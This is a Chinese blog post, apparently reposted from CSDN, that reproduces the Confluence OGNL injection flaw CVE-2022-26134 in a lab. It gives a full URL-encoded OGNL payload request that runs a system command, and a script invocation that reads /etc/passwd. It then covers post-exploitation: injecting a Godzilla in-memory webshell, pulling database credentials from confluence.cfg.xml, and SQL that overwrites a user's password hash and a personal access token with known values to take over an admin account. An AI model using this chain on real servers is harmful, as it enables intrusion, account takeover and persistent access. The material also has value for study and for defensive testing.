CVE-2022-26134 Confluence OGNL 注入复现及后利用

在这里插入图片描述

CVE-2022-26134 Confluence OGNL 注入

Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令

攻击者提供的URI将被转换为namespace,然后该namespace将被转换为OGNL表达式进行计算(攻击者提供的url被间接转化成了OGNL表达式进行计算)

受影响版本

  • 1.3.0 <= Confluence Server and Data Center < 7.4.17
  • 7.13.0 <= Confluence Server and Data Center < 7.13.7
  • 7.14.0 <= Confluence Server and Data Center < 7.14.3
  • 7.15.0 <= Confluence Server and Data Center < 7.15.2
  • 7.16.0 <= Confluence Server and Data Center < 7.16.4
  • 7.17.0 <= Confluence Server and Data Center < 7.17.4
  • 7.18.0 <= Confluence Server and Data Center < 7.18.1

环境搭建

  • docker:vulhub

  • 虚拟机:https://www.jianshu.com/p/074fb87f020a,宝塔安装Postgres

    新建数据库

    截屏2023-03-16 19.57.03

GetShell

paylaod

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

img

python脚本:https://github.com/jbaines-r7/through_the_wire

使用

python3 confluenceRce.py --rhost 192.168.186.138 --rport 8090 --lhost 192.168.186.138 --protocol http:// --read-file /etc/passwd

截屏2023-03-14 12.00.30

后利用

利用思路:

写shell获取系统权限——>再到数据库权限——>最后到管理员密码。这边管理员密码是密文加密在数据库中,解不开,因此解决的思路是将管理员用户密码修改为已知明文密码的密文(这边不能直接在数据库中添加字段,关系型数据库在单表中添加一条字段可能会出现问题),登录上后台以后,添加用户并加入管理员组,最后将管理员密码还原

Confluence的后利用主要问题在于在Linux中搭建时,默认是Confluence用户权限,而confluence在linux中是没有写权限的,这也就是为什么有些人发现可以执行命令但是shell写不进去。因此处理这种问题最有效的方法就是无文件落地,写内存马

1.写入哥斯拉内存马

beichenDream大佬已经开源了工具:https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL

截屏2023-03-14 14.30.09

截屏2023-03-14 14.35.00

如果内存Shell已经注入成功但哥斯拉无法连接,请在请求配置添加以下协议头或者为哥斯拉配置Burp代理

Connection: close

image

2. 连接数据库

查找数据库配置文件

Confluence数据库默认配置文件如下,若未使用默认路径,全局搜索该配置文件即可

/var/atlassian/application-data/confluence/confluence.cfg.xml

截屏2023-03-14 14.48.19

可以看到数据库地址及用户名密码,使用哥斯拉数据库管理模块连接

截屏2023-03-14 14.56.57

因为是本地连接且系统初始化时数据库配置地址为:db,所以这里填db而不是IP地址

手动利用

修改数据库,实现用户登录

(1)修改用户登录口令

利用实例:

查看用户关键信息,命令如下:

confluence=> select id,user_name,credential from cwd_user;

执行结果如下图

Alt text

修改用户test2的口令信息,命令如下:

confluence=> UPDATE cwd_user SET credential= '{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm' WHERE id = 458755;

确认数据库被修改,如下图

Alt text

注:{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm对应的明文为123456

2.修改Personal Access Tokens

使用Personal Access Tokens可以实现免密登录

介绍资料:<https://confluence.atlassian.com/bitbucketserver0610/personal-access-tokens-989761177.html https://developer.atlassian.com/server/confluence/confluence-server-rest-api/ https://docs.atlassian.com/ConfluenceServer/rest/7.11.6/>

利用实例:

测试环境下,Personal Access Tokens对应表为AO_81F455_PERSONAL_TOKEN

查询语句:

confluence=> select * from "AO_81F455_PERSONAL_TOKEN";

修改Personal Access Tokens,命令如下:

confluence=> UPDATE "AO_81F455_PERSONAL_TOKEN" SET "HASHED_TOKEN"= '{PKCS5S2}Deoq/psifhVO0VE8qhJ6prfgOltOdJkeRH4cIxac9NtoXVodRQJciR95GW37gR7/' WHERE "ID" = 4;

注:

{PKCS5S2}Deoq/psifhVO0VE8qhJ6prfgOltOdJkeRH4cIxac9NtoXVodRQJciR95GW37gR7/`对应的token为`MjE0NTg4NjQ3MTk2OrQ5JtSJgT/rrRBmCY4zu+N+NaWZ

自动化工具实现

confluence 后利用哥斯拉插件:https://github.com/BeichenDream/PostConfluence

在哥斯拉配置-插件配置中添加插件

截屏2023-03-14 15.13.36

截屏2023-03-14 15.36.23
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/q20010619/article/details/130008966